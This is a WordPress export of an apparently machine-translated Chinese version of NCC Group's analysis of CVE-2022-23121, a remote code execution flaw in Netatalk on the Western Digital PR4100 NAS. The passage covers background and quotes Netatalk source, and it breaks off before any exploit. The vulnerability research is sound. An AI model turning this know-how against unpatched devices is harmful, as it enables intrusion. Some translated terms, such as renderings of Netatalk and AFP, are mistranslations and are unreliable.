{"id":30,"date":"2022-03-25T17:40:16","date_gmt":"2022-03-25T09:40:16","guid":{"rendered":"http:\/\/www.aqwu.net\/wp\/?p=30"},"modified":"2022-04-10T22:01:22","modified_gmt":"2022-04-10T14:01:22","slug":"western-digital-pr4100-nas-%e4%b8%8a%e7%9a%84%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c-cve-2022-23121","status":"publish","type":"post","link":"https:\/\/www.aqwu.net\/wp\/?p=30","title":{"rendered":"Western Digital PR4100 NAS \u4e0a\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c (CVE-2022-23121)"},"content":{"rendered":"\n<p>\u539f\u6587\u94fe\u63a5\uff1a<a href=\"https:\/\/research.nccgroup.com\/2022\/03\/24\/remote-code-execution-on-western-digital-pr4100-nas-cve-2022-23121\/\">https:\/\/research.nccgroup.com\/2022\/03\/24\/remote-code-execution-on-western-digital-pr4100-nas-cve-2022-23121\/<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i0.wp.com\/research.nccgroup.com\/wp-content\/uploads\/2022\/03\/mooncake-1.gif?resize=856%2C470&amp;ssl=1\" alt=\"\" class=\"wp-image-15403\"\/><figcaption>\u6708\u997c\u6f0f\u6d1e<\/figcaption><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">\u6982\u62ec<\/h1>\n\n\n\n<p>\u8fd9\u7bc7\u535a\u6587\u63cf\u8ff0\u4e86\u4e00\u4e2a\u672a\u7ecf\u68c0\u67e5\u7684\u8fd4\u56de\u503c\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u7531 NCC \u96c6\u56e2\u5229\u7528\u5f00\u53d1\u5c0f\u7ec4 (EDG) \u7684<a href=\"https:\/\/twitter.com\/alexjplaskett\">Alex Plaskett<\/a>\u3001<a href=\"https:\/\/twitter.com\/saidelike\">Cedric Halbronn<\/a>\u548c<a href=\"https:\/\/twitter.com\/fidgetingbits\">Aaron Adams\u4e8e 2021 \u5e74 9 \u6708\u53d1\u73b0\u5e76\u5229\u7528\u3002<\/a>\u6211\u4eec\u5728 2021 \u5e74 11 \u6708\u7684 Pwn2Own 2021 \u7ade\u8d5b\u4e2d\u9488\u5bf9 Western Digital PR4100 \u6210\u529f\u5229\u7528\u4e86\u5b83\u3002Western Digital \u53d1\u5e03\u4e86<a href=\"https:\/\/os5releasenotes.mycloud.com\/#\/\">\u56fa\u4ef6\u66f4\u65b0<\/a>(5.19.117)\uff0c\u5b8c\u5168\u5220\u9664\u4e86\u5bf9\u5f00\u6e90\u7b2c\u4e09\u65b9\u6613\u53d7\u653b\u51fb\u670d\u52a1\u201cDepreciated Netatalk Service\u201d\u7684\u652f\u6301\u3002\u7531\u4e8e\u6b64\u6f0f\u6d1e\u5df2\u5728<a href=\"https:\/\/github.com\/Netatalk\/Netatalk\/commit\/0c0465e4e85a27105b61b3918df8f8df0565367c\">\u4e0a\u6e38 Netatalk \u4ee3\u7801<\/a>\u4e2d\u5f97\u5230\u89e3\u51b3\uff0c\u56e0\u6b64\u5206\u914d\u4e86 CVE-2022-23121\uff0c\u5e76\u4e0e\u65b0\u7684 Netatalk \u7248\u672c<a href=\"https:\/\/netatalk.sourceforge.io\/3.1\/ReleaseNotes3.1.13.html\">3.1.13<\/a>\u4e00\u8d77<a href=\"https:\/\/www.zerodayinitiative.com\/advisories\/ZDI-22-527\/\">\u53d1\u5e03\u4e86 ZDI \u516c\u544a<\/a><a href=\"https:\/\/netatalk.sourceforge.io\/3.1\/ReleaseNotes3.1.13.html\"><\/a>\u5206\u5e03\u5f0f\uff0c\u5b83\u4e0e\u8bb8\u591a\u5176\u4ed6\u6f0f\u6d1e\u4e00\u8d77\u4fee\u590d\u4e86\u6b64\u6f0f\u6d1e\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u4ecb\u7ecd<\/h1>\n\n\n\n<p>\u8be5\u6f0f\u6d1e\u4f4d\u4e8e<a href=\"https:\/\/en.wikipedia.org\/wiki\/Netatalk\">Netatalk\u9879\u76ee\u4e2d\uff0c\u8be5\u9879\u76ee\u662f<\/a><a href=\"https:\/\/en.wikipedia.org\/wiki\/Apple_Filing_Protocol\">Apple \u5f52\u6863\u534f\u8bae (AFP)<\/a>\u7684\u5f00\u6e90\u5b9e\u73b0\u3002Netatalk \u4ee3\u7801\u5728<code>\/usr\/sbin\/afpd<\/code>\u670d\u52a1\u548c<code>\/lib64\/libatalk.so<\/code>\u5e93\u4e2d\u5b9e\u73b0\u3002\u8be5<code>afpd<\/code>\u670d\u52a1\u9ed8\u8ba4\u5728<a href=\"https:\/\/shop.westerndigital.com\/products\/network-attached-storage\/wd-my-cloud-pro-series-pr4100#WDBNFA0000NBK-NESN\">Western Digital My Cloud Pro \u7cfb\u5217 PR4100<\/a>&nbsp;NAS \u4e0a\u8fd0\u884c\u3002<\/p>\n\n\n\n<p>\u8be5\u6f0f\u6d1e\u53ef\u8fdc\u7a0b\u5229\u7528\uff0c\u65e0\u9700\u8eab\u4efd\u9a8c\u8bc1\u3002\u5b83\u5141\u8bb8\u653b\u51fb\u8005\u4ee5<code>nobody<\/code>NAS \u4e0a\u7684\u7528\u6237\u8eab\u4efd\u8fdc\u7a0b\u6267\u884c\u4ee3\u7801\u3002\u6b64\u7528\u6237\u53ef\u4ee5\u8bbf\u95ee\u901a\u5e38\u9700\u8981\u8eab\u4efd\u9a8c\u8bc1\u7684\u79c1\u6709\u5171\u4eab\u3002<\/p>\n\n\n\n<p>\u6211\u4eec\u5df2\u7ecf\u5206\u6790\u5e76\u5229\u7528\u4e86 5.17.107 \u7248\u672c\u4e0a\u7684\u6f0f\u6d1e\uff0c\u6211\u4eec\u5c06\u5728\u4e0b\u9762\u8be6\u7ec6\u4ecb\u7ecd\uff0c\u4f46\u65e7\u7248\u672c\u4e5f\u53ef\u80fd\u5b58\u5728\u6f0f\u6d1e\u3002<\/p>\n\n\n\n<p>\u6ce8\u610f\uff1a\u897f\u90e8\u6570\u636e My Cloud Pro \u7cfb\u5217 PR4100 NAS \u57fa\u4e8e x86_64 \u67b6\u6784\u3002<\/p>\n\n\n\n<p>\u6211\u4eec\u5c06\u6211\u4eec\u7684\u6f0f\u6d1e\u5229\u7528\u547d\u540d\u4e3a\u201cMooncake\u201d\u3002\u8fd9\u662f\u56e0\u4e3a\u6211\u4eec\u5728 2021 \u5e74 9 \u6708 21 \u65e5\u5b8c\u6210\u4e86\u7f16\u5199\u6211\u4eec\u7684\u6f0f\u6d1e\u5229\u7528\u7a0b\u5e8f\uff0c\u8fd9\u6070\u597d\u662f 2021 \u5e74\u4e2d\u79cb\u8282\u53c8\u540d<a href=\"https:\/\/en.wikipedia.org\/wiki\/Mid-Autumn_Festival\">\u6708\u997c\u8282<\/a>\u7684\u65e5\u5b50\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u6f0f\u6d1e\u8be6\u60c5<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">\u80cc\u666f<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">DSI \/ AFP \u534f\u8bae<\/h3>\n\n\n\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Apple_Filing_Protocol\">Apple \u5f52\u6863\u534f\u8bae (AFP)<\/a>\u662f\u4f17\u6240\u5468\u77e5\u7684<a href=\"https:\/\/en.wikipedia.org\/wiki\/Server_Message_Block\">\u670d\u52a1\u5668\u6d88\u606f\u5757 (SMB)<\/a>\u534f\u8bae\u7684\u66ff\u4ee3\u65b9\u6848\uff0c\u7528\u4e8e\u901a\u8fc7\u7f51\u7edc\u5171\u4eab\u6587\u4ef6\u3002\u53ef\u4ee5\u5728<a href=\"http:\/\/citeseerx.ist.psu.edu\/viewdoc\/download?doi=10.1.1.363.9481&amp;rep=rep1&amp;type=pdf\">\u6b64\u5904<\/a>\u627e\u5230 AFP \u89c4\u8303\u3002<\/p>\n\n\n\n<p>AFP \u901a\u8fc7<a href=\"https:\/\/en.wikipedia.org\/wiki\/Data_Stream_Interface\">\u6570\u636e\u6d41\u63a5\u53e3 (DSI)<\/a>\u534f\u8bae\u4f20\u8f93\uff0c\u8be5\u534f\u8bae\u672c\u8eab\u901a\u8fc7 TCP\/IP \u5728 TCP \u7aef\u53e3 548 \u4e0a\u4f20\u8f93\u3002<\/p>\n\n\n\n<p>\u7136\u800c\uff0cSMB \u4f3c\u4e4e\u8d62\u5f97\u4e86\u6587\u4ef6\u5171\u4eab\u7f51\u7edc\u534f\u8bae\u4e4b\u6218\uff0c\u800c AFP \u9c9c\u4e3a\u4eba\u77e5\uff0c\u5373\u4f7f\u4ecd\u7136\u652f\u6301 NAS \u7b49\u8bbe\u5907\u3002AFP \u534f\u8bae\u5728 OS X 10.9 \u4e2d\u88ab\u5f03\u7528\uff0cAFP \u670d\u52a1\u5668\u5728 OS X 11 \u4e2d\u88ab\u79fb\u9664\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u7f51\u804a<\/h3>\n\n\n\n<p>Netatalk\u9879\u76ee\u662f<a href=\"https:\/\/en.wikipedia.org\/wiki\/Netatalk\">\u7528\u4e8e<\/a>UNIX \u5e73\u53f0\u7684 AFP\/DSI \u5b9e\u73b0\uff0c\u4e8e 2000 \u5e74\u79fb\u81f3 SourceForge\u3002\u5176\u6700\u521d\u76ee\u7684\u662f\u5141\u8bb8\u7c7b UNIX \u64cd\u4f5c\u7cfb\u7edf\u4f5c\u4e3a\u8bb8\u591a Macintosh\/OS X \u5ba2\u6237\u7aef\u7684 AFP \u670d\u52a1\u5668\u3002<\/p>\n\n\n\n<p>\u5982\u524d\u6240\u8ff0\uff0c\u6cd5\u65b0\u793e\u7684\u5174\u8da3\u8d8a\u6765\u8d8a\u5c11\u3002\u8fd9\u4e5f\u53cd\u6620\u5728 Netatalk \u9879\u76ee\u4e2d\u3002\u6700\u65b0\u7684 Netatalk<a href=\"http:\/\/netatalk.sourceforge.net\/\">\u7a33\u5b9a\u7248\u672c<\/a>(3.1.12) \u4e8e 2018 \u5e74 12 \u6708\u53d1\u5e03\uff0c\u8fd9\u4f7f\u5176\u6210\u4e3a\u4e00\u4e2a\u76f8\u5f53\u5f03\u7528\u4e14\u4e0d\u53d7\u652f\u6301\u7684\u9879\u76ee\u3002<\/p>\n\n\n\n<p>Netatalk \u9879\u76ee\u5bb9\u6613\u53d7\u5230<a href=\"http:\/\/netatalk.sourceforge.net\/3.1\/ReleaseNotes3.1.12.html\">CVE-2018-1160<\/a><code>dsi_opensession()<\/code>\u6f0f\u6d1e\u7684\u653b\u51fb\uff0c\u8be5\u6f0f\u6d1e\u662fNetatalk &lt; 3.1.12 \u4e2dDSIOpensession \u547d\u4ee4 ( ) \u4e2d\u7684\u8d8a\u754c\u5199\u5165\u3002<a href=\"https:\/\/medium.com\/tenable-techblog\/exploiting-an-18-year-old-bug-b47afe54172\">\u7531\u4e8e\u6ca1\u6709 ASLR\uff0c\u8fd9\u5728Seagate NAS<\/a>\u4e0a\u88ab\u6210\u529f\u5229\u7528\uff0c\u540e\u6765\u5728\u5e26\u6709 ASLR \u7684\u73af\u5883\u4e2d\u4f5c\u4e3a<a href=\"https:\/\/translate.google.com\/translate?sl=auto&amp;tl=en&amp;u=https:\/\/ama2in9.top\/2021\/01\/07\/cve-2018-1160\/\">Hitcon 2019 CTF \u6311\u6218<\/a>\u7684\u4e00\u90e8\u5206\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">AppleDouble \u6587\u4ef6\u683c\u5f0f<\/h3>\n\n\n\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/AppleSingle_and_AppleDouble_formats\">AppleSingle \u548c AppleDouble<\/a>\u6587\u4ef6\u683c\u5f0f\u65e8\u5728\u5b58\u50a8\u5e38\u89c4\u6587\u4ef6\u7684\u5143\u6570\u636e\uff0c\u5e76\u5141\u8bb8\u5728\u4e0d\u540c\u6587\u4ef6\u7cfb\u7edf\u4e4b\u95f4\u5171\u4eab\u8be5\u4fe1\u606f\uff0c\u800c\u4e0d\u5fc5\u62c5\u5fc3\u4e92\u64cd\u4f5c\u6027\u3002<\/p>\n\n\n\n<p>\u4e3b\u8981\u601d\u60f3\u662f\u57fa\u4e8e\u4efb\u4f55\u6587\u4ef6\u7cfb\u7edf\u90fd\u5141\u8bb8\u5c06\u6587\u4ef6\u5b58\u50a8\u4e3a\u4e00\u7cfb\u5217\u5b57\u8282\u7684\u4e8b\u5b9e\u3002\u56e0\u6b64\uff0c\u5982\u679c\u53e6\u4e00\u7aef\u7684\u6587\u4ef6\u7cfb\u7edf\u652f\u6301\u5b83\u4eec\uff0c\u5219\u53ef\u4ee5\u5c06\u5e38\u89c4\u6587\u4ef6\u7684\u5143\u6570\u636e\uff08\u53c8\u540d\u5c5e\u6027\uff09\u4fdd\u5b58\u5230\u5e38\u89c4\u6587\u4ef6\u4e2d\u7684\u9644\u52a0\u6587\u4ef6\u4e2d\uff0c\u5e76\u5c06\u8fd9\u4e9b\u5c5e\u6027\u53cd\u6620\u56de\u53e6\u4e00\u7aef\uff08\u6216\u81f3\u5c11\u5176\u4e2d\u4e00\u4e9b\uff09\u3002\u5426\u5219\uff0c\u53ef\u4ee5\u4e22\u5f03\u9644\u52a0\u5c5e\u6027\u3002<\/p>\n\n\n\n<p>AppleSingle \u548c AppleDouble \u89c4\u8303\u53ef\u5728&nbsp;<a href=\"https:\/\/web.archive.org\/web\/20180311140826\/http:\/\/kaiser-edv.de\/documents\/AppleSingle_AppleDouble.pdf\">\u6b64\u5904<\/a>\u627e\u5230\u3002AppleDouble \u6587\u4ef6\u683c\u5f0f\u4e5f\u5728<a href=\"https:\/\/github.com\/samba-team\/samba\/blob\/master\/source3\/lib\/adouble.c\">samba \u6e90\u4ee3\u7801<\/a>\u4e2d\u7528\u8fd9\u5f20\u56fe\u89e3\u91ca\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/*\n   \"._\" AppleDouble Header File Layout:\n         MAGIC          0x00051607\n         VERSION        0x00020000\n         FILLER         0\n         COUNT          2\n     .-- AD ENTRY&#91;0]    Finder Info Entry (must be first)\n  .--+-- AD ENTRY&#91;1]    Resource Fork Entry (must be last)\n  |  |   \/\/\/\/\/\/\/\/\/\/\/\/\/\n  |  '-&gt; FINDER INFO    Fixed Size Data (32 Bytes)\n  |      ~~~~~~~~~~~~~  2 Bytes Padding\n  |      EXT ATTR HDR   Fixed Size Data (36 Bytes)\n  |      \/\/\/\/\/\/\/\/\/\/\/\/\/\n  |      ATTR ENTRY&#91;0] --.\n  |      ATTR ENTRY&#91;1] --+--.\n  |      ATTR ENTRY&#91;2] --+--+--.\n  |         ...          |  |  |\n  |      ATTR ENTRY&#91;N] --+--+--+--.\n  |      ATTR DATA 0   &lt;-'  |  |  |\n  |      \/\/\/\/\/\/\/\/\/\/\/\/       |  |  |\n  |      ATTR DATA 1   &lt;----'  |  |\n  |      \/\/\/\/\/\/\/\/\/\/\/\/\/         |  |\n  |      ATTR DATA 2   &lt;-------'  |\n  |      \/\/\/\/\/\/\/\/\/\/\/\/\/            |\n  |         ...                   |\n  |      ATTR DATA N   &lt;----------'\n  |      \/\/\/\/\/\/\/\/\/\/\/\/\/\n  |         ...          Attribute Free Space\n  |\n  '----&gt; RESOURCE FORK\n            ...          Variable Sized Data\n            ...\n*\/<\/code><\/pre>\n\n\n\n<p><code>afpd<\/code>\u4e8c\u8fdb\u5236\u6587\u4ef6\u548c\u5e93<code>libatalk.so<\/code>\u6ca1\u6709\u7b26\u53f7\u3002\u4f46\u662f\uff0cWestern Digital \u53d1\u5e03\u4e86\u4ed6\u4eec\u4f7f\u7528\u7684\u57fa\u4e8e Netatalk \u5f00\u6e90\u7684\u5b9e\u73b0\uff0c\u4ee5\u53ca\u7531\u4e8e<a href=\"https:\/\/en.wikipedia.org\/wiki\/GNU_General_Public_License\">GNU \u901a\u7528\u516c\u5171\u8bb8\u53ef\u8bc1 (GPL)\u800c\u5728<\/a><a href=\"https:\/\/downloads.wdc.com\/gpl\/WDMyCloud_PR4100_GPL_v5.16.105_20210728.tar.gz\">\u6b64\u5904<\/a>\u5b9e\u73b0\u7684\u8865\u4e01\u3002\u897f\u90e8\u6570\u636e\u53d1\u5e03\u7684\u6700\u65b0\u6e90\u4ee3\u7801\u5b58\u6863\u662f 5.16.105 \u7248\u672c\uff0c\u4e0e\u5206\u6790\u7684\u6700\u65b0\u7248\u672c (5.17.107) \u4e0d\u5339\u914d\u3002\u4f46\u662f\uff0c\u6211\u4eec\u5df2\u7ecf\u786e\u8ba4\u4e86\u8fd9\u4e00\u70b9\uff0c\u5e76\u4e14\u8fc4\u4eca\u4e3a\u6b62\u4ece\u672a\u5728\u6240\u6709 OS 5 \u7248\u672c\u4e2d\u8fdb\u884c\u8fc7\u4fee\u6539\u3002\u56e0\u6b64\uff0c\u4e0b\u9762\u663e\u793a\u7684\u4ee3\u7801\u901a\u5e38\u662f\u6307 Netatalk \u6e90\u4ee3\u7801\u3002<a href=\"https:\/\/en.wikipedia.org\/wiki\/GNU_General_Public_License\"><\/a><code>afpd<\/code><code>netatalk.so<\/code><\/p>\n\n\n\n<p>\u6ce8\u610f\uff1aWestern Digital PR4100 \u4f7f\u7528\u6700\u65b0\u7684 3.1.12 netatalk \u6e90\u4ee3\u7801\u4f5c\u4e3a\u57fa\u7840\u3002<\/p>\n\n\n\n<p>\u8ba9\u6211\u4eec\u5206\u6790\u4e00\u4e0b netatalk \u4ee3\u7801\u5728\u5904\u7406\u4ee5 AppleDouble \u6587\u4ef6\u683c\u5f0f\u5b58\u50a8\u7684\u6253\u5f00\u5206\u53c9\u6587\u4ef6\u65f6\u5982\u4f55\u63a5\u53d7\u5ba2\u6237\u7aef\u8fde\u63a5\u3001\u89e3\u6790 AFP \u8bf7\u6c42\u4ee5\u5230\u8fbe\u6613\u53d7\u653b\u51fb\u7684\u4ee3\u7801\u3002<\/p>\n\n\n\n<p>\u5165\u53e3\u70b9\u51fd\u6570\u521d\u59cb\u5316\u5185\u5b58\u4e2d\u7684<code>main()<\/code>\u5927\u91cf\u5bf9\u8c61\uff0c\u52a0\u8f7d AFP \u914d\u7f6e\uff0c\u5e76\u5f00\u59cb\u76d1\u542c AFP \u7aef\u53e3 (TCP 548)\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><br>\/\/netatalk-3.1.12\/etc\/afpd\/main.c\nint main(int ac, char **av)\n{\n    ...\n    \/* wait for an appleshare connection. parent remains in the loop\n     * while the children get handled by afp_over_{asp,dsi}.  this is\n     * currently vulnerable to a denial-of-service attack if a\n     * connection is made without an actual login attempt being made\n     * afterwards. establishing timeouts for logins is a possible\n     * solution. *\/\n    while (1) {\n        ...\n        for (int i = 0; i &lt; asev-&gt;used; i++) {\n            if (asev-&gt;fdset[i].revents &amp; (POLLIN | POLLERR | POLLHUP | POLLNVAL)) {\n                switch (asev-&gt;data[i].fdtype) {\n\n                case LISTEN_FD:\n                    if ((child = dsi_start(&amp;obj, (DSI *)(asev-&gt;data[i].private), server_children))) {\n                        ...\n                    }\n                    break;\n    ...\n```\n<\/pre>\n\n\n\n<p>\u8be5<code>dsi_start()<\/code>\u51fd\u6570\u57fa\u672c\u4e0a\u8c03\u7528\u4e86 2 \u4e2a\u51fd\u6570\uff1a<code>dsi_getsession()<\/code>\u548c<code>afp_over_dsi()<\/code>.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/\/netatalk-3.1.12\/etc\/afpd\/main.c\nstatic afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children)\n{\n    afp_child_t *child = NULL;\n\n    if (dsi_getsession(dsi, server_children, obj-&gt;options.tickleval, &amp;child) != 0) {\n        LOG(log_error, logtype_afpd, \"dsi_start: session error: %s\", strerror(errno));\n        return NULL;\n    }\n\n    \/* we've forked. *\/\n    if (child == NULL) {\n        configfree(obj, dsi);\n        afp_over_dsi(obj); \/* start a session *\/\n        exit (0);\n    }\n\n    return child;\n}\n<\/pre>\n\n\n\n<p>\u5bf9\u51fd\u6570\u6307\u9488\u7684<code>dsi_getsession()<\/code>\u8c03\u7528\u662f\uff1a<code>dsi->proto_opendsi_tcp_open()<\/code><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/\/netatalk-3.1.12\/libatalk\/dsi\/dsi_getsess.c\n\/*!\n * Start a DSI session, fork an afpd process\n *\n * @param childp    (w) after fork: parent return pointer to child, child returns NULL\n * @returns             0 on sucess, any other value denotes failure\n *\/\nint dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)\n{\n  ...\n  switch (pid = dsi-&gt;proto_open(dsi)) { \/* in libatalk\/dsi\/dsi_tcp.c *\/\n<\/pre>\n\n\n\n<p>\u8be5<code>dsi_tcp_open()<\/code>\u51fd\u6570\u63a5\u53d7\u5ba2\u6237\u7aef\u8fde\u63a5\uff0c\u521b\u5efa\u4e00\u4e2a\u5b50\u8fdb\u7a0b<code>fork()<\/code>\u5e76\u5f00\u59cb\u521d\u59cb\u5316\u4e0e\u5ba2\u6237\u7aef\u7684 DSI \u4f1a\u8bdd\u3002<\/p>\n\n\n\n<p>Teaser\uff1a\u8fd9\u5bf9\u5265\u524a\u5f88\u6709\u7528\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/* accept the socket and do a little sanity checking *\/\nstatic pid_t dsi_tcp_open(DSI *dsi)\n{\n    pid_t pid;\n    SOCKLEN_T len;\n\n    len = sizeof(dsi-&gt;client);\n    dsi-&gt;socket = accept(dsi-&gt;serversock, (struct sockaddr *) &amp;dsi-&gt;client, &amp;len);\n    ...\n   if (0 == (pid = fork()) ) { \/* child *\/\n        ...\n    }\n\n    \/* send back our pid *\/\n    return pid;\n}<\/pre>\n\n\n\n<p>\u56de\u5230<code>dsi_getsession()<\/code>\u7236<code>afpd<\/code>\u96c6\uff0c\u800c\u5904\u7406\u5ba2\u6237\u7aef\u8fde\u63a5\u96c6<code>*childp != NULL<\/code>\u7684\u5206\u53c9\u5b50\u96c6<code>afpd*childp == NULL<\/code><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/\/netatalk-3.1.12\/libatalk\/dsi\/dsi_getsess.c\n\/*!\n * Start a DSI session, fork an afpd process\n *\n * @param childp    (w) after fork: parent return pointer to child, child returns NULL\n * @returns             0 on sucess, any other value denotes failure\n *\/\nint dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)\n{\n  ...\n  switch (pid = dsi-&gt;proto_open(dsi)) { \/* in libatalk\/dsi\/dsi_tcp.c *\/\n  case -1:\n    \/* if we fail, just return. it might work later *\/\n    LOG(log_error, logtype_dsi, \"dsi_getsess: %s\", strerror(errno));\n    return -1;\n\n  case 0: \/* child. mostly handled below. *\/\n    break;\n\n  default: \/* parent *\/\n    \/* using SIGKILL is hokey, but the child might not have\n     * re-established its signal handler for SIGTERM yet. *\/\n    close(ipc_fds[1]);\n    if ((child = server_child_add(serv_children, pid, ipc_fds[0])) ==  NULL) {\n      LOG(log_error, logtype_dsi, \"dsi_getsess: %s\", strerror(errno));\n      close(ipc_fds[0]);\n      dsi-&gt;header.dsi_flags = DSIFL_REPLY;\n      dsi-&gt;header.dsi_data.dsi_code = htonl(DSIERR_SERVBUSY);\n      dsi_send(dsi);\n      dsi-&gt;header.dsi_data.dsi_code = DSIERR_OK;\n      kill(pid, SIGKILL);\n    }\n    dsi-&gt;proto_close(dsi);\n    *childp = child;\n    return 0;\n  }\n  ...\n  switch (dsi-&gt;header.dsi_command) {\n  ...\n  case DSIFUNC_OPEN: \/* setup session *\/\n    \/* set up the tickle timer *\/\n    dsi-&gt;timer.it_interval.tv_sec = dsi-&gt;timer.it_value.tv_sec = tickleval;\n    dsi-&gt;timer.it_interval.tv_usec = dsi-&gt;timer.it_value.tv_usec = 0;\n    dsi_opensession(dsi);\n    *childp = NULL;\n    return 0;\n\n  default: \/* just close *\/\n    LOG(log_info, logtype_dsi, \"DSIUnknown %d\", dsi-&gt;header.dsi_command);\n    dsi-&gt;proto_close(dsi);\n    exit(EXITERR_CLNT);\n  }\n}<\/pre>\n\n\n\n<p>\u6211\u4eec\u73b0\u5728\u56de\u5230<code>dsi_start()<\/code>.\u00a0\u5bf9\u4e8e\u7236\u7ea7\uff0c\u6ca1\u6709\u4efb\u4f55\u53cd\u5e94\uff0c<code>main()<\/code>\u6c38\u8fdc\u5faa\u73af\u7ee7\u7eed\u7b49\u5f85\u5176\u4ed6\u5ba2\u6237\u7aef\u8fde\u63a5\u3002\u5bf9\u4e8e\u5904\u7406\u8fde\u63a5\u7684\u5b69\u5b50\uff0c<code>afp_over_dsi()<\/code>\u88ab\u8c03\u7528\u3002\u8be5\u51fd\u6570\u8bfb\u53d6 AFP \u6570\u636e\u5305\uff08\u5373 DSI \u6709\u6548\u8d1f\u8f7d\uff09\uff0c\u786e\u5b9a AFP \u547d\u4ee4\u5e76\u8c03\u7528<code>afp_switch[]<\/code>\u5168\u5c40\u6570\u7ec4\u5185\u7684\u51fd\u6570\u6307\u9488\u6765\u5904\u7406\u8be5 AFP \u547d\u4ee4\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/\/netatalk-3.1.12\/etc\/afpd\/afp_dsi.c\n\/* -------------------------------------------\n afp over dsi. this never returns.\n*\/\nvoid afp_over_dsi(AFPObj *obj)\n{\n    ...\n    \/* get stuck here until the end *\/\n    while (1) {\n        ...\n        \/* Blocking read on the network socket *\/\n        cmd = dsi_stream_receive(dsi);\n        ...\n        switch(cmd) {\n        ...\n        case DSIFUNC_CMD:\n            ...\n                \/* send off an afp command. in a couple cases, we take advantage\n                 * of the fact that we're a stream-based protocol. *\/\n                if (afp_switch[function]) {\n                    dsi-&gt;datalen = DSI_DATASIZ;\n                    dsi-&gt;flags |= DSI_RUNNING;\n\n                    LOG(log_debug, logtype_afpd, \"&lt;== Start AFP command: %s\", AfpNum2name(function));\n\n                    AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));\n                    err = (*afp_switch[function])(obj,\n                                                  (char *)dsi-&gt;commands, dsi-&gt;cmdlen,\n                                                  (char *)&amp;dsi-&gt;data, &amp;dsi-&gt;datalen);<\/pre>\n\n\n\n<p><code>afp_switch[]<\/code>\u5168\u5c40\u6570\u7ec4\u521d\u59cb\u5316\u4e3a\u521d\u59cb\u503c\uff0c\u8be5\u503c<code>preauth_switch<\/code>\u4ec5\u5305\u542b\u51e0\u4e2a\u53ef\u7528\u7684\u9884\u8eab\u4efd\u9a8c\u8bc1\u5904\u7406\u7a0b\u5e8f\u3002<code>postauth_switch<\/code>\u4e00\u65e6\u5ba2\u6237\u7aef\u901a\u8fc7\u8eab\u4efd\u9a8c\u8bc1\uff0c\u6211\u4eec\u53ef\u4ee5\u731c\u6d4b\u5b83\u88ab\u8bbe\u7f6e\u4e3a\u8be5\u503c\u3002\u8fd9\u53ef\u4ee5\u8bbf\u95ee\u8bb8\u591a\u5176\u4ed6 AFP \u529f\u80fd\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/\/netatalk-3.1.12\/etc\/afpd\/switch.c\n\/*\n * Routines marked \"NULL\" are not AFP functions.\n * Routines marked \"afp_null\" are AFP functions\n * which are not yet implemented. A fine line...\n *\/\nstatic AFPCmd preauth_switch[] = {\n    NULL, NULL, NULL, NULL,\n    NULL, NULL, NULL, NULL,\t\t\t\t\t\/*   0 -   7 *\/\n    NULL, NULL, NULL, NULL,\n    NULL, NULL, NULL, NULL,\t\t\t\t\t\/*   8 -  15 *\/\n    NULL, NULL, afp_login, afp_logincont,\n    afp_logout, NULL, NULL, NULL,\t\t\t\t\/*  16 -  23 *\/\n    NULL, NULL, NULL, NULL,\n    NULL, NULL, NULL, NULL,\t\t\t\t\t\/*  24 -  31 *\/\n    NULL, NULL, NULL, NULL,\n    NULL, NULL, NULL, NULL,\t\t\t\t\t\/*  32 -  39 *\/\n    NULL, NULL, NULL, NULL,\n    NULL, NULL, NULL, NULL,\t\t\t\t\t\/*  40 -  47 *\/\n    NULL, NULL, NULL, NULL,\n    NULL, NULL, NULL, NULL,\t\t\t\t\t\/*  48 -  55 *\/\n    NULL, NULL, NULL, NULL,\n    NULL, NULL, NULL, afp_login_ext,\t\t\t\t\/*  56 -  63 *\/\n    ...\n};\n\nAFPCmd *afp_switch = preauth_switch;\n\nAFPCmd postauth_switch[] = {\n    NULL, afp_bytelock, afp_closevol, afp_closedir,\n    afp_closefork, afp_copyfile, afp_createdir, afp_createfile,\t\/*   0 -   7 *\/\n    afp_delete, afp_enumerate, afp_flush, afp_flushfork,\n    afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo,\t\/*   8 -  15 *\/\n    afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont,\n    afp_logout, afp_mapid, afp_mapname, afp_moveandrename,\t\/*  16 -  23 *\/\n    afp_openvol, afp_opendir, afp_openfork, afp_read,\n    afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams,\n    \/*  24 -  31 *\/\n    afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams,\n    afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid, \/*  32 -  39 *\/\n    afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch,\n    afp_null, afp_null, afp_null, afp_null,\t\t\t\/*  40 -  47 *\/\n    afp_opendt, afp_closedt, afp_null, afp_geticon,\n    afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl,\t\/*  48 -  55 *\/\n    afp_addcomment, afp_rmvcomment, afp_getcomment, NULL,\n    